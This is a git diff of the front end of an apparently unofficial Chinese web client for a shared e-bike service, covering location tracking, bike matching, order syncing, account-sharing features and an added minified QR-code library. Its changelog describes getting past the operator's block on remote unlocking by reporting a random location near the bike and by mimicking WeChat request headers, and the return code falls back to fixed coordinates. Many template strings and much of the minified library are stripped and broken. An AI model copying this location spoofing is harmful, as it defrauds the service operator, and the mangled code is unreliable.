autoLocationMarker.setPosition(point); + } + } + + // 启动自动持续定位 + function startAutoLocation() { + if (!navigator.geolocation) { + console.log("[自动定位] 浏览器不支持定位"); + return; + } + + // 如果已经在监听,先停止 + if (autoLocationWatchId !== null) { + navigator.geolocation.clearWatch(autoLocationWatchId); + } + + showToast("正在获取您的位置..."); + autoLocationWatchId = navigator.geolocation.watchPosition( + (pos) => { + const gpsLat = pos.coords.latitude; + const gpsLng = pos.coords.longitude; + + // GPS(WGS84) -> 百度 BD09,本地用 coordtransform 同步转换, + // 替代原 BMapGL.Convertor 在线接口(无网络/异步依赖)。 + // coordtransform.wgs84tobd09(lng, lat) 返回 [bd09_lng, bd09_lat] + let myPoint = null; + if (typeof coordtransform !== "undefined" && coordtransform.wgs84tobd09) { + try { + const bd09 = coordtransform.wgs84tobd09(gpsLng, gpsLat); + myPoint = new BMapGL.Point(bd09[0], bd09[1]); + } catch (e) { + console.warn("[自动定位] 坐标转换失败,使用原始坐标:", e); + myPoint = null; + } + } + // 库未加载或转换失败时,直接使用原始坐标兜底 + if (!myPoint) { + myPoint = new BMapGL.Point(gpsLng, gpsLat); + } + updateAutoLocation(myPoint); + hasLocationPermission = true; + + // 用户授权定位时:本页首次拿到位置后,把地图居中到用户位置(仅一次) + if (!initialLocationCentered) { + initialLocationCentered = true; + if (map) { + map.setCenter(myPoint); + } + } + }, + (err) => { + console.log("[自动定位] 定位失败:", err.message); + hasLocationPermission = false; + }, + { enableHighAccuracy: false, maximumAge: 5000, timeout: 10000 } + ); + } + + // 停止自动定位 + function stopAutoLocation() { + if (autoLocationWatchId !== null) { + navigator.geolocation.clearWatch(autoLocationWatchId); + autoLocationWatchId = null; + } + if (autoLocationMarker) { + map.removeOverlay(autoLocationMarker); + autoLocationMarker = null; + } + } + + // 计算距离并找最近可用车辆(智能电量匹配) + function findNearestBike(myPoint) { + // Haversine公式计算两点距离(米) + function calcDistance(lat1, lng1, lat2, lng2) { + const R = 6371000; + const dLat = (lat2 - lat1) * Math.PI / 180; + const dLng = (lng2 - lng1) * Math.PI / 180; + const a = Math.sin(dLat/2) * Math.sin(dLat/2) + + Math.cos(lat1 * Math.PI / 180) * Math.cos(lat2 * Math.PI / 180) * + Math.sin(dLng/2) * Math.sin(dLng/2); + return R * 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); + } + + const myLat = myPoint.lat; + const myLng = myPoint.lng; + const NEARBY_THRESHOLD = 200; // 附近范围(米) + const LOW_BATTERY = 20; // 低电量阈值 + + // 收集所有可用车(电量>20%,非使用中) + const available = []; + for (const id in markersData) { + const bike = markersData[id]; + if (!bike.latitude || !bike.longitude) continue; + // 只把「空闲可用」的车推荐给用户:分类规则与 getBikeState / 后端一致 + // (使用中 state=1&status=1 / 低电量 state=10 或 电量<20 / 欠压 4 / 损坏 2) + const bs = getBikeState(bike); + if (bs !== 'available') continue; + const electric = parseFloat(bike.electric_quantity || bike.electricQuantity || 0); + if (electric <= LOW_BATTERY) continue; // 过滤低电量 + + const c = offsetCoord(bike.latitude, bike.longitude); + const dist = calcDistance(myLat, myLng, c.lat, c.lng); + available.push({ id, bike, dist, electric }); + } + + // 过滤:只选电量 > 40% 的车 + const enoughElec = available.filter(v => v.electric > 40); + + if (enoughElec.length === 0) { + showToast("附近没有电量足够的车辆(需要>40%)"); + return; + } + + // 直接选距离最近的 + enoughElec.sort((a, b) => a.dist - b.dist); + const selected = enoughElec[0]; + const matchType = "最近可用"; + + + nearestBikeId = selected.id; + const bike = selected.bike; + const c = offsetCoord(bike.latitude, bike.longitude); + const bikePoint = new BMapGL.Point(c.lng, c.lat); + + // 飞到这个车并放大一级 + map.panTo(bikePoint); + setTimeout(() => { + map.setZoom(map.getZoom() + 1); + }, 300); + + // 文案与 getBikeState 的分类一一对应(推荐出来的车一定是 available,正常走「空闲」) + const stateLabel = { + inuse: "使用中", available: "空闲", lowbattery: "低电量", + locked: "欠压车辆", reserved: "损坏车辆", unknown: "未知", + }[getBikeState(bike)] || "未知"; + const distText = selected.dist < 1000 ? `${Math.round(selected.dist)}米` : `${(selected.dist/1000).toFixed(1)}公里`; + showToast(`${matchType}:#${bike.code}(${stateLabel} ${selected.electric}%),${distText}`); + + setTimeout(() => showBikeDetail(selected.id), 500); + } + + // ========== 启动 ========== + // 启动时检查登录状态,然后检查租车 + checkAuthStatus().then(() => { + if (authToken && typeof SettingsPages !== "undefined") SettingsPages.restore(); + checkRentalStatus(); + if (authToken) shareAfterLogin(); + }); + + // 未登录:全屏登录门覆盖地图(后端 /api/map 同样有登录门禁) + if (!authToken) showLoginGate(); + + document.addEventListener("DOMContentLoaded", initMap); + window.addEventListener("xbniu-map-ready", initMap); + document.getElementById("scan-input").addEventListener("keydown", e => { + if (e.key === "Enter") scanCode(); + }); + // Refresh at the shared snapshot's expiry, not 60 seconds after an old cache hit. + setInterval(updateMapFreshnessBadge, 1000); + + // 进行中订单:每 2 分钟主动刷新一次(与上游对账 + 重算剩余时长/预计还车) + setInterval(async () => { + if (!authToken || document.visibilityState !== "visible") return; + if (!currentOrder || Number(currentOrder.status) !== 2) return; + try { + await syncWechatOrder(); // 上游可能已被还车/换单 + checkOrderStatus(); // 刷新横幅状态 + if (currentOrder && currentOrder.order_id) { + fetchOrderCountdown(currentOrder.order_id); // 重算剩余 + 预计还车 + } + } catch (e) { + console.error("[订单2分钟刷新] 失败:", e); + } + }, 120000); + + // 页面重新可见时检查租车状态 + document.addEventListener("visibilitychange", () => { + if (document.visibilityState === "visible") { + if (authToken && map) loadMapData(currentType, false, true); + checkAuthStatus().then(async () => { + // 从微信或其他端回到页面时,先主动对账,再刷新本地横幅。 + if (authToken) await syncWechatOrder(); + // 如果有租车计时横幅,同步服务端时间 + const rentalBar = document.getElementById("rental-bar"); + console.log("[visibilitychange] 同步服务端用车状态"); + checkRentalStatus(); + // 如果有订单横幅且在进行中,同步倒计时 + const orderBanner = document.getElementById("order-banner"); + if (orderBanner && orderBanner.classList.contains("show") && currentOrder && currentOrder.status === 2) { + console.log("[visibilitychange] order-banner 进行中,同步倒计时"); + fetchOrderCountdown(currentOrder.order_id); + } + }); + } + }); + + // ================= 版本号 & 更新说明 ================= + const VERSION_TAG = "v1.6.0"; + const VERSION_LOGS = [ + { v: "v1.6.0", items: [ + "新增用车设置:可独立开启或关闭邮件提醒,并多选到期前 10、5、3、2、1 分钟及到期时提醒", + "支持实时调整用车到期时间,当前订单也会立即按新时长更新;默认 19 分钟,月卡前 20 分钟免费并预留 1 分钟容错", + "新增自动还车开关;关闭后到期邮件只提醒手动还车,不再显示已自动还车或自动还车失败", + "共享用车按实际骑行人的到期与自动还车设置执行,车主和骑行人分别按各自设置接收美化后的 HTML 邮件及一键还车入口", + "修复共享车主重复显示订单横幅,并修复普通/共享车辆已锁车但接口响应异常时误报还车失败的问题" + ] }, + { v: "v1.5.0", items: [ + "新增共享电动车自定义昵称" + ] }, + { v: "v1.4.0", items: [ + "支持多设备同时登录:同一账号可在多台设备/多个浏览器同时在线,不再相互顶下线", + "个人中心新增“登录设备管理”:可查看当前账号各登录设备(记录系统/浏览器与最近活跃),随时下线其它设备或一键下线其它所有设备", + "统一个人中心/凭证/设备管理的深浅色模式适配" + ] }, + { v: "v1.3.0", items: [ + "新增「共享电动车」功能:向车主申请共享其电动车;接受后可设置每天可用次数、是否需要车主持有优惠卡、优惠卡剩余次数下限(低于则不能用)", + "开锁时可选择“用自己的账号”或“用共享者的账号”(附实时可用次数;今日次数用完的共享者默认隐藏)", + "用车横幅区分“共享中/使用XX的车中”,车主与被共享者都能还车", + "个人中心新增“共享电动车”入口,双Tab管理(可使用的/我共享的),双方都可解绑" + ] }, + { v: "v1.2.0", items: [ + "修复远程扫码被拦截:开锁上报车辆附近随机位置", + "请求头对齐当前版本微信环境" + ] } + ]; + // 右下角版本徽标始终跟随 VERSION_TAG,避免与更新说明不一致 + (function () { + var b = document.getElementById("version-badge"); + if (b) b.textContent = VERSION_TAG; + })(); + let versionModalInited = false; + let versionAutoTries = 0; + function openVersionModal() { + if (!versionModalInited) { + const el = document.getElementById("version-content"); + el.innerHTML = VERSION_LOGS.map(l => + `

${l.v}

    ${l.items.map(i => `
  • ${i}
  • `).join("")}
` + ).join(""); + versionModalInited = true; + } + // 记录已查看当前版本,避免每次打开都弹 + try { localStorage.setItem("version_seen", VERSION_TAG); } catch (e) {} + document.getElementById("version-modal").classList.add("show"); + } + function closeVersionModal() { + document.getElementById("version-modal").classList.remove("show"); + } + // 新版本/首次打开自动弹当前版本更新说明(每版本每浏览器只自动弹一次) + function maybeAutoShowVersion() { + if (typeof SettingsPages !== "undefined" && SettingsPages.isOpen()) return; + let seen = ""; + try { seen = localStorage.getItem("version_seen") || ""; } catch (e) {} + if (seen === VERSION_TAG) return; + const askM = document.getElementById("share-ask-modal"); + const cfgM = document.getElementById("share-config-modal"); + const busy = (askM && askM.classList.contains("show")) || + (cfgM && cfgM.classList.contains("show")); + if (busy) { + versionAutoTries++; + if (versionAutoTries < 8) setTimeout(maybeAutoShowVersion, 4000); + return; + } + openVersionModal(); + } + + // ================= 共享电动车 ================= + function shareApi(url, method, body) { + const opts = { method: method || "GET", headers: {} }; + if (authToken) opts.headers["Authorization"] = `Bearer ${authToken}`; + if (body !== undefined) { + opts.headers["Content-Type"] = "application/json"; + opts.body = JSON.stringify(body); + } + return fetch(url, opts).then(r => r.json()); + } + + // ===== 私密备注(昵称) 工具 ===== + // 显示对方时:优先用“我给他起的备注(昵称)”,其次显示名,最后退回邮箱 + function partnerLabel(name, email, remark) { + return (remark && String(remark).trim()) || name || email || ""; + } + // share_id -> {email,name,remark},备注编辑用(不把用户文本嵌进 HTML 属性/JS 字面量) + let shareRec = {}; + + // ---------- 管理弹窗 ---------- + let shareTabNow = "usable"; + function openShareModal() { + if (!authToken || !currentUser) { showToast("请先登录"); return; } + SettingsPages.open("share-modal"); + switchShareTab(shareTabNow); + loadShareData(); + } + function closeShareModal() { + SettingsPages.back(); + } + function switchShareTab(tab) { + shareTabNow = tab; + document.getElementById("share-tab-usable").classList.toggle("active", tab === "usable"); + document.getElementById("share-tab-mine").classList.toggle("active", tab === "mine"); + document.getElementById("share-list-usable").style.display = tab === "usable" ? "flex" : "none"; + document.getElementById("share-list-mine").style.display = tab === "mine" ? "flex" : "none"; + loadShareData(); + } + function sharePendingHtml(pending) { + if (!pending || !pending.length) { document.getElementById("share-pending-box").style.display = "none"; return; } + const rows = pending.map(p => + `
等待接受:${escHtml(p.from_email||'')} + + + +
`).join(""); + const box = document.getElementById("share-pending-box"); + box.innerHTML = `
待处理的共享申请
${rows}`; + box.style.display = "block"; + } + async function loadShareData() { + if (!authToken) return; + try { + const data = await shareApi("/api/share/list"); + if (data.rtn_code !== 0) { showToast(data.message || "加载失败"); return; } + const d = data.data || { usable: [], shared: [] }; + shareRec = {}; + + document.getElementById("share-list-usable").innerHTML = d.usable.map(u => { + const uLabel = partnerLabel(u.owner_name, u.owner_email, u.remark); + shareRec[u.share_id] = { email: u.owner_email || "", name: u.owner_name || "", remark: u.remark || "" }; + const state = u.can_use + ? ('') + : (''); + return ''; + }).join(""); + + document.getElementById("share-list-mine").innerHTML = d.shared.map(sr => { + const sLabel = partnerLabel(sr.rider_name, sr.rider_email, sr.remark); + shareRec[sr.share_id] = { email: sr.rider_email || "", name: sr.rider_name || "", remark: sr.remark || "" }; + return ''; + }).join(""); + + const pending = await shareApi("/api/share/pending"); + if (pending.rtn_code === 0) sharePendingHtml(pending.data || []); + } catch (e) { console.error("[share] load失败", e); } + } + async function sendShareRequest() { + if (!authToken) { showToast("请先登录"); return; } + const email = document.getElementById("share-req-email").value.trim(); + if (!email) { showToast("请输入对方邮箱"); return; } + const btn = document.querySelector(".share-req-row button"); + if (btn) { btn.disabled = true; } + try { + const data = await shareApi("/api/share/request", "POST", { to_email: email }); + showToast(data.message || (data.rtn_code === 0 ? "已发送" : "发送失败")); + if (data.rtn_code === 0) document.getElementById("share-req-email").value = ""; + } finally { + if (btn) { btn.disabled = false; } + } + } + + async function acceptShareRequest(reqId, fromEmail) { + const askM = document.getElementById("share-ask-modal"); + if (askM) askM.classList.remove("show"); + shareAskActive = false; + try { + const data = await shareApi("/api/share/respond", "POST", { request_id: reqId, accept: true }); + if (data.rtn_code === 0 && data.data) { + showToast("已接受,请设置权限"); + openShareConfig(data.data.share_id, data.data.daily_limit, data.data.require_card, data.data.card_min_times, data.data.rider_email); + } else { + showToast(data.message || "操作失败"); + } + } finally { + loadShareData(); + checkPendingShareRequests(); + } + } + async function rejectShareRequest(reqId) { + const askM = document.getElementById("share-ask-modal"); + if (askM) askM.classList.remove("show"); + shareAskActive = false; + try { + const data = await shareApi("/api/share/respond", "POST", { request_id: reqId, accept: false }); + showToast(data.message || "已拒绝"); + } finally { + loadShareData(); + checkPendingShareRequests(); + } + } + + // ---------- 权限设置 ---------- + let shareCfg = { share_id: null }; + function openShareConfig(shareId, daily, requireCard, minTimes, email) { + shareCfg = { share_id: shareId }; + document.getElementById("share-config-title").textContent = email ? `为 ${email} 设置共享权限` : ""; + document.getElementById("sharecfg-daily").value = daily ?? 3; + document.getElementById("sharecfg-card").checked = !!requireCard; + document.getElementById("sharecfg-mintimes").value = minTimes ?? 0; + SettingsPages.open("share-config-modal"); + } + function closeShareConfig() { + SettingsPages.back(); + setTimeout(() => checkPendingShareRequests(), 0); + } + async function saveShareConfig() { + if (!shareCfg.share_id) return; + const daily = parseInt(document.getElementById("sharecfg-daily").value, 10) || 0; + const require_card = document.getElementById("sharecfg-card").checked ? 1 : 0; + const minTimes = parseInt(document.getElementById("sharecfg-mintimes").value, 10) || 0; + const data = await shareApi("/api/share/config", "POST", { + share_id: shareCfg.share_id, daily_limit: daily, require_card, card_min_times: minTimes + }); + showToast(data.message || (data.rtn_code === 0 ? "权限已保存" : "保存失败")); + if (data.rtn_code === 0) closeShareConfig(); + loadShareData(); + checkPendingShareRequests(); + } + + async function unbindShare(shareId) { + if (!(await appConfirm("解绑后对方将无法再用你的共享额度开锁,可随时重新申请。", { title: "解绑共享关系", okText: "解绑", danger: true }))) return; + const data = await shareApi("/api/share/unbind", "POST", { share_id: shareId }); + showToast(data.message || "已解绑"); + loadShareData(); + refreshShareBanners(); + } + + // ---------- 给对方的私密备注(昵称) ---------- + let shareRemarkCfg = { share_id: null }; + function openShareRemark(shareId) { + const rec = shareRec[shareId]; + if (!rec) return; + shareRemarkCfg.share_id = shareId; + document.getElementById("share-remark-input").value = rec.remark || ""; + const shown = partnerLabel(rec.name, rec.email, rec.remark); + document.getElementById("share-remark-desc").innerHTML = + '给 ' + escHtml(shown) + ' 起一个昵称备注,仅自己可见;未设置时对 TA 的显示退回邮箱 (' + escHtml(rec.email || "") + ')。'; + SettingsPages.open("share-remark-modal"); + } + function closeShareRemark() { + SettingsPages.back(); + shareRemarkCfg.share_id = null; + } + async function saveShareRemark() { + if (!shareRemarkCfg.share_id) return; + const remark = document.getElementById("share-remark-input").value.trim(); + const btn = document.querySelector("#share-remark-modal .auth-submit"); + if (btn) btn.disabled = true; + try { + const data = await shareApi("/api/share/remark", "POST", { share_id: shareRemarkCfg.share_id, remark: remark }); + showToast(data.message || (data.rtn_code === 0 ? "备注已保存" : "保存失败")); + if (data.rtn_code === 0) closeShareRemark(); + loadShareData(); + refreshShareBanners(); + } catch (e) { console.error("[share] remark失败", e); showToast("保存失败"); } + finally { if (btn) btn.disabled = false; } + } + + // ---------- 全屏接收申请 ---------- + let shareAskQueue = []; + let shareAskActive = false; + let shareAskCur = null; + async function checkPendingShareRequests() { + if (!authToken || shareAskActive) return; + try { + const data = await shareApi("/api/share/pending"); + if (data.rtn_code === 0 && data.data && data.data.length) { + shareAskQueue = data.data.slice(); + nextShareAskIfQueue(); + } + } catch (e) { /* 忽略 */ } + } + function nextShareAskIfQueue() { + if (shareAskQueue.length > 0) { + shareAskCur = shareAskQueue.shift(); + shareAskActive = true; + document.getElementById("share-ask-from").textContent = shareAskCur.from_email || ""; + document.getElementById("share-ask-modal").classList.add("show"); + } else if (shareAskActive) { + shareAskActive = false; + document.getElementById("share-ask-modal").classList.remove("show"); + } + } + async function acceptCurrentShareAsk() { + if (!shareAskCur) return; + await acceptShareRequest(shareAskCur.id, shareAskCur.from_email); + // 接受后弹权限设置由 acceptShareRequest 处理;队列推进 + } + async function rejectCurrentShareAsk() { + if (!shareAskCur) return; + await rejectShareRequest(shareAskCur.id); + } + + // ---------- 共享横幅(车主:共享中 / 骑行者:使用中) ---------- + let shareActiveList = []; + let pendingShareReturn = null; + async function refreshShareBanners() { + const cont = document.getElementById("share-banners"); + if (!cont) return; + if (!authToken || !currentUser) { cont.innerHTML = ""; return; } + try { + const data = await shareApi("/api/share/active"); + if (data.rtn_code !== 0) return; + shareActiveList = data.data || []; + let html = ""; + shareActiveList.forEach((it, idx) => { + const mins = Math.max(1, Math.ceil((it.remaining_seconds || 0) / 60)); + const isOwner = it.role === "owner"; + const label = partnerLabel(it.partner_name, it.partner_email, it.remark); + const esc = escHtml(label); + const bike = escHtml(it.bike_code || ""); + let text; + if (isOwner) { + text = '共享中#' + bike + '' + esc + ' 使用中'; + } else { + text = '使用 ' + esc + ' 的车中#' + bike + ''; + } + html += ''; + }); + cont.innerHTML = html; + } catch (e) { console.error("[share] banners失败", e); } + } + function openShareReturnByIdx(idx) { + const it = shareActiveList[idx]; + if (!it) return; + pendingShareReturn = it; + const isOwner = it.role === "owner"; + const label = partnerLabel(it.partner_name, it.partner_email, it.remark); + const esc = escHtml(label); + const bike = escHtml(it.bike_code || ""); + const box = document.getElementById("share-return-text"); + box.innerHTML = isOwner + ? ('你的共享电动车 #' + bike + ' 正被 ' + esc + ' 使用,确认替他/她还车?') + : ('你正在使用 ' + esc + ' 的车 #' + bike + ',确认还车?'); + document.getElementById("share-return-modal").classList.add("show"); + } + // HTML 的 ✕ / 取消 / 遮罩都调用它(此前漏了定义 → 点击直接 ReferenceError,弹窗关不掉) + function closeShareReturnModal() { + const modal = document.getElementById("share-return-modal"); + if (modal) modal.classList.remove("show"); + pendingShareReturn = null; + } + async function confirmShareReturn() { + if (!pendingShareReturn) return; + const it = pendingShareReturn; + const btn = document.querySelector("#share-return-modal .auth-submit"); + if (btn) { btn.disabled = true; btn.textContent = "还车中..."; } + try { + let position = null; + if (navigator.geolocation) { + position = await new Promise(resolve => { + navigator.geolocation.getCurrentPosition( + pos => resolve(pos), + () => resolve(null), + { timeout: 5000 }); + }); + } + const latitude = position?.coords?.latitude || 36.67; + const longitude = position?.coords?.longitude || 116.98; + const data = await shareApi("/api/share/return", "POST", { + order_id: it.order_id, latitude, longitude + }); + showToast(data.message || (data.rtn_code === 0 ? "还车成功" : "还车失败")); + if (data.rtn_code === 0) { + closeShareReturnModal(); + pendingShareReturn = null; + await Promise.all([refreshShareBanners(), checkOrderStatus(), refreshMap()]); + } + } catch (e) { + showToast("还车失败,请重试"); + } finally { + if (btn) { btn.disabled = false; btn.textContent = "确认还车"; } + } + } + + // ---------- 初始化(登录后/页面加载) ---------- + function shareAfterLogin() { + refreshShareBanners(); + setTimeout(() => checkPendingShareRequests(), 800); + } + document.addEventListener("DOMContentLoaded", () => { + if (authToken) shareAfterLogin(); + setInterval(() => { if (authToken) { checkAuthStatus(); checkOrderStatus(); refreshShareBanners(); } }, 20000); + setInterval(() => { if (authToken) checkPendingShareRequests(); }, 30000); + setTimeout(maybeAutoShowVersion, 1200); + }); diff --git a/static/js/qrcode.min.js b/static/js/qrcode.min.js new file mode 100644 index 0000000..993e88f --- /dev/null +++ b/static/js/qrcode.min.js @@ -0,0 +1 @@ +var QRCode;!function(){function a(a){this.mode=c.MODE_8BIT_BYTE,this.data=a,this.parsedData=[];for(var b=[],d=0,e=this.data.length;e>d;d++){var f=this.data.charCodeAt(d);f>65536?(b[0]=240|(1835008&f)>>>18,b[1]=128|(258048&f)>>>12,b[2]=128|(4032&f)>>>6,b[3]=128|63&f):f>2048?(b[0]=224|(61440&f)>>>12,b[1]=128|(4032&f)>>>6,b[2]=128|63&f):f>128?(b[0]=192|(1984&f)>>>6,b[1]=128|63&f):b[0]=f,this.parsedData=this.parsedData.concat(b)}this.parsedData.length!=this.data.length&&(this.parsedData.unshift(191),this.parsedData.unshift(187),this.parsedData.unshift(239))}function b(a,b){this.typeNumber=a,this.errorCorrectLevel=b,this.modules=null,this.moduleCount=0,this.dataCache=null,this.dataList=[]}function i(a,b){if(void 0==a.length)throw new Error(a.length+"/"+b);for(var c=0;c=f;f++){var h=0;switch(b){case d.L:h=l[f][0];break;case d.M:h=l[f][1];break;case d.Q:h=l[f][2];break;case d.H:h=l[f][3]}if(h>=e)break;c++}if(c>l.length)throw new Error("Too long data");return c}function s(a){var b=encodeURI(a).toString().replace(/\%[0-9a-fA-F]{2}/g,"a");return b.length+(b.length!=a?3:0)}a.prototype={getLength:function(){return this.parsedData.length},write:function(a){for(var b=0,c=this.parsedData.length;c>b;b++)a.put(this.parsedData[b],8)}},b.prototype={addData:function(b){var c=new a(b);this.dataList.push(c),this.dataCache=null},isDark:function(a,b){if(0>a||this.moduleCount<=a||0>b||this.moduleCount<=b)throw new Error(a+","+b);return this.modules[a][b]},getModuleCount:function(){return this.moduleCount},make:function(){this.makeImpl(!1,this.getBestMaskPattern())},makeImpl:function(a,c){this.moduleCount=4*this.typeNumber+17,this.modules=new Array(this.moduleCount);for(var d=0;d=7&&this.setupTypeNumber(a),null==this.dataCache&&(this.dataCache=b.createData(this.typeNumber,this.errorCorrectLevel,this.dataList)),this.mapData(this.dataCache,c)},setupPositionProbePattern:function(a,b){for(var c=-1;7>=c;c++)if(!(-1>=a+c||this.moduleCount<=a+c))for(var d=-1;7>=d;d++)-1>=b+d||this.moduleCount<=b+d||(this.modules[a+c][b+d]=c>=0&&6>=c&&(0==d||6==d)||d>=0&&6>=d&&(0==c||6==c)||c>=2&&4>=c&&d>=2&&4>=d?!0:!1)},getBestMaskPattern:function(){for(var a=0,b=0,c=0;8>c;c++){this.makeImpl(!0,c);var d=f.getLostPoint(this);(0==c||a>d)&&(a=d,b=c)}return b},createMovieClip:function(a,b,c){var d=a.createEmptyMovieClip(b,c),e=1;this.make();for(var f=0;f=g;g++)for(var h=-2;2>=h;h++)this.modules[d+g][e+h]=-2==g||2==g||-2==h||2==h||0==g&&0==h?!0:!1}},setupTypeNumber:function(a){for(var b=f.getBCHTypeNumber(this.typeNumber),c=0;18>c;c++){var d=!a&&1==(1&b>>c);this.modules[Math.floor(c/3)][c%3+this.moduleCount-8-3]=d}for(var c=0;18>c;c++){var d=!a&&1==(1&b>>c);this.modules[c%3+this.moduleCount-8-3][Math.floor(c/3)]=d}},setupTypeInfo:function(a,b){for(var c=this.errorCorrectLevel<<3|b,d=f.getBCHTypeInfo(c),e=0;15>e;e++){var g=!a&&1==(1&d>>e);6>e?this.modules[e][8]=g:8>e?this.modules[e+1][8]=g:this.modules[this.moduleCount-15+e][8]=g}for(var e=0;15>e;e++){var g=!a&&1==(1&d>>e);8>e?this.modules[8][this.moduleCount-e-1]=g:9>e?this.modules[8][15-e-1+1]=g:this.modules[8][15-e-1]=g}this.modules[this.moduleCount-8][8]=!a},mapData:function(a,b){for(var c=-1,d=this.moduleCount-1,e=7,g=0,h=this.moduleCount-1;h>0;h-=2)for(6==h&&h--;;){for(var i=0;2>i;i++)if(null==this.modules[d][h-i]){var j=!1;g>>e));var k=f.getMask(b,d,h-i);k&&(j=!j),this.modules[d][h-i]=j,e--,-1==e&&(g++,e=7)}if(d+=c,0>d||this.moduleCount<=d){d-=c,c=-c;break}}}},b.PAD0=236,b.PAD1=17,b.createData=function(a,c,d){for(var e=j.getRSBlocks(a,c),g=new k,h=0;h8*l)throw new Error("code length overflow. ("+g.getLengthInBits()+">"+8*l+")");for(g.getLengthInBits()+4<=8*l&&g.put(0,4);0!=g.getLengthInBits()%8;)g.putBit(!1);for(;;){if(g.getLengthInBits()>=8*l)break;if(g.put(b.PAD0,8),g.getLengthInBits()>=8*l)break;g.put(b.PAD1,8)}return b.createBytes(g,e)},b.createBytes=function(a,b){for(var c=0,d=0,e=0,g=new Array(b.length),h=new Array(b.length),j=0;j=0?p.get(q):0}}for(var r=0,m=0;mm;m++)for(var j=0;jm;m++)for(var j=0;j=0;)b^=f.G15<=0;)b^=f.G18<>>=1;return b},getPatternPosition:function(a){return f.PATTERN_POSITION_TABLE[a-1]},getMask:function(a,b,c){switch(a){case e.PATTERN000:return 0==(b+c)%2;case e.PATTERN001:return 0==b%2;case e.PATTERN010:return 0==c%3;case e.PATTERN011:return 0==(b+c)%3;case e.PATTERN100:return 0==(Math.floor(b/2)+Math.floor(c/3))%2;case e.PATTERN101:return 0==b*c%2+b*c%3;case e.PATTERN110:return 0==(b*c%2+b*c%3)%2;case e.PATTERN111:return 0==(b*c%3+(b+c)%2)%2;default:throw new Error("bad maskPattern:"+a)}},getErrorCorrectPolynomial:function(a){for(var b=new i([1],0),c=0;a>c;c++)b=b.multiply(new i([1,g.gexp(c)],0));return b},getLengthInBits:function(a,b){if(b>=1&&10>b)switch(a){case c.MODE_NUMBER:return 10;case c.MODE_ALPHA_NUM:return 9;case c.MODE_8BIT_BYTE:return 8;case c.MODE_KANJI:return 8;default:throw new Error("mode:"+a)}else if(27>b)switch(a){case c.MODE_NUMBER:return 12;case c.MODE_ALPHA_NUM:return 11;case c.MODE_8BIT_BYTE:return 16;case c.MODE_KANJI:return 10;default:throw new Error("mode:"+a)}else{if(!(41>b))throw new Error("type:"+b);switch(a){case c.MODE_NUMBER:return 14;case c.MODE_ALPHA_NUM:return 13;case c.MODE_8BIT_BYTE:return 16;case c.MODE_KANJI:return 12;default:throw new Error("mode:"+a)}}},getLostPoint:function(a){for(var b=a.getModuleCount(),c=0,d=0;b>d;d++)for(var e=0;b>e;e++){for(var f=0,g=a.isDark(d,e),h=-1;1>=h;h++)if(!(0>d+h||d+h>=b))for(var i=-1;1>=i;i++)0>e+i||e+i>=b||(0!=h||0!=i)&&g==a.isDark(d+h,e+i)&&f++;f>5&&(c+=3+f-5)}for(var d=0;b-1>d;d++)for(var e=0;b-1>e;e++){var j=0;a.isDark(d,e)&&j++,a.isDark(d+1,e)&&j++,a.isDark(d,e+1)&&j++,a.isDark(d+1,e+1)&&j++,(0==j||4==j)&&(c+=3)}for(var d=0;b>d;d++)for(var e=0;b-6>e;e++)a.isDark(d,e)&&!a.isDark(d,e+1)&&a.isDark(d,e+2)&&a.isDark(d,e+3)&&a.isDark(d,e+4)&&!a.isDark(d,e+5)&&a.isDark(d,e+6)&&(c+=40);for(var e=0;b>e;e++)for(var d=0;b-6>d;d++)a.isDark(d,e)&&!a.isDark(d+1,e)&&a.isDark(d+2,e)&&a.isDark(d+3,e)&&a.isDark(d+4,e)&&!a.isDark(d+5,e)&&a.isDark(d+6,e)&&(c+=40);for(var k=0,e=0;b>e;e++)for(var d=0;b>d;d++)a.isDark(d,e)&&k++;var l=Math.abs(100*k/b/b-50)/5;return c+=10*l}},g={glog:function(a){if(1>a)throw new Error("glog("+a+")");return g.LOG_TABLE[a]},gexp:function(a){for(;0>a;)a+=255;for(;a>=256;)a-=255;return g.EXP_TABLE[a]},EXP_TABLE:new Array(256),LOG_TABLE:new Array(256)},h=0;8>h;h++)g.EXP_TABLE[h]=1<h;h++)g.EXP_TABLE[h]=g.EXP_TABLE[h-4]^g.EXP_TABLE[h-5]^g.EXP_TABLE[h-6]^g.EXP_TABLE[h-8];for(var h=0;255>h;h++)g.LOG_TABLE[g.EXP_TABLE[h]]=h;i.prototype={get:function(a){return this.num[a]},getLength:function(){return this.num.length},multiply:function(a){for(var b=new Array(this.getLength()+a.getLength()-1),c=0;cf;f++)for(var g=c[3*f+0],h=c[3*f+1],i=c[3*f+2],k=0;g>k;k++)e.push(new j(h,i));return e},j.getRsBlockTable=function(a,b){switch(b){case d.L:return j.RS_BLOCK_TABLE[4*(a-1)+0];case d.M:return j.RS_BLOCK_TABLE[4*(a-1)+1];case d.Q:return j.RS_BLOCK_TABLE[4*(a-1)+2];case d.H:return j.RS_BLOCK_TABLE[4*(a-1)+3];default:return void 0}},k.prototype={get:function(a){var b=Math.floor(a/8);return 1==(1&this.buffer[b]>>>7-a%8)},put:function(a,b){for(var c=0;b>c;c++)this.putBit(1==(1&a>>>b-c-1))},getLengthInBits:function(){return this.length},putBit:function(a){var b=Math.floor(this.length/8);this.buffer.length<=b&&this.buffer.push(0),a&&(this.buffer[b]|=128>>>this.length%8),this.length++}};var l=[[17,14,11,7],[32,26,20,14],[53,42,32,24],[78,62,46,34],[106,84,60,44],[134,106,74,58],[154,122,86,64],[192,152,108,84],[230,180,130,98],[271,213,151,119],[321,251,177,137],[367,287,203,155],[425,331,241,177],[458,362,258,194],[520,412,292,220],[586,450,322,250],[644,504,364,280],[718,560,394,310],[792,624,442,338],[858,666,482,382],[929,711,509,403],[1003,779,565,439],[1091,857,611,461],[1171,911,661,511],[1273,997,715,535],[1367,1059,751,593],[1465,1125,805,625],[1528,1190,868,658],[1628,1264,908,698],[1732,1370,982,742],[1840,1452,1030,790],[1952,1538,1112,842],[2068,1628,1168,898],[2188,1722,1228,958],[2303,1809,1283,983],[2431,1911,1351,1051],[2563,1989,1423,1093],[2699,2099,1499,1139],[2809,2213,1579,1219],[2953,2331,1663,1273]],o=function(){var a=function(a,b){this._el=a,this._htOption=b};return a.prototype.draw=function(a){function g(a,b){var c=document.createElementNS("http://www.w3.org/2000/svg",a);for(var d in b)b.hasOwnProperty(d)&&c.setAttribute(d,b[d]);return c}var b=this._htOption,c=this._el,d=a.getModuleCount();Math.floor(b.width/d),Math.floor(b.height/d),this.clear();var h=g("svg",{viewBox:"0 0 "+String(d)+" 